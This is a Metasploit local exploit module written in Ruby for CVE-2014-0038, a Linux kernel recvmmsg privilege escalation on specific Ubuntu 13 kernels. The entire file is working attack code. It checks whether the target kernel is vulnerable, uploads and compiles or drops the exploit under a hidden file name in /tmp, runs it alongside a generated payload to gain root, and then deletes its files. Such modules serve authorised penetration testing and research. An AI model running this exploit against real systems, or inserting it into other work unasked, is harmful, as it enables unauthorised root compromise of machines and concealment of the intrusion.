## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Linux Kernel recvmmsg Privilege Escalation', 'Description' => %q{ This module attempts to exploit CVE-2014-0038, by sending a recvmmsg system call with a crafted timeout pointer parameter to gain root. This exploit has offsets for 3 Ubuntu 13 kernels: 3.8.0-19-generic (13.04 default); 3.11.0-12-generic (13.10 default); 3.11.0-15-generic (13.10). This exploit may take up to 13 minutes to run due to a decrementing (1/sec) pointer which starts at 0xff*3 (765 seconds) }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die ', # Metasploit module 'rebel' # Discovery and exploit ], 'DisclosureDate' => '2014-02-02', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true }, 'References' => [ [ 'BID', '65255' ], [ 'CVE', '2014-0038' ], [ 'EDB', '31347' ], [ 'EDB', '31346' ], [ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900' ] ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]) ] register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def exploit_data(file) ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', file) end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" version = kernel_version unless version.include? 'Ubuntu' vprint_error "System kernel #{version} is not based on Ubuntu" return CheckCode::Safe end vprint_good 'System kernel is based on Ubuntu' # Ubuntu 12.x kernels are not supported if version.include? 'precise' vprint_error "System kernel #{version} is not exploitable" return CheckCode::Safe end release = kernel_release unless release =~ /^3\.11\.0-(12|15)-generic/ || release.eql?('3.8.0-19-generic') vprint_error "Kernel #{release} #{version} is not exploitable" return CheckCode::Safe end vprint_good "Kernel #{release} #{version} is exploitable" CheckCode::Appears end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, strip_comments(exploit_data('recvmmsg.c')) rm_f "#{executable_path}.c" else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('recvmmsg') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit timeout = 780 print_status "Launching exploit... May take up to 13 minutes. Start time: #{Time.now}" output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path}..." rm_f executable_path rm_f payload_path end end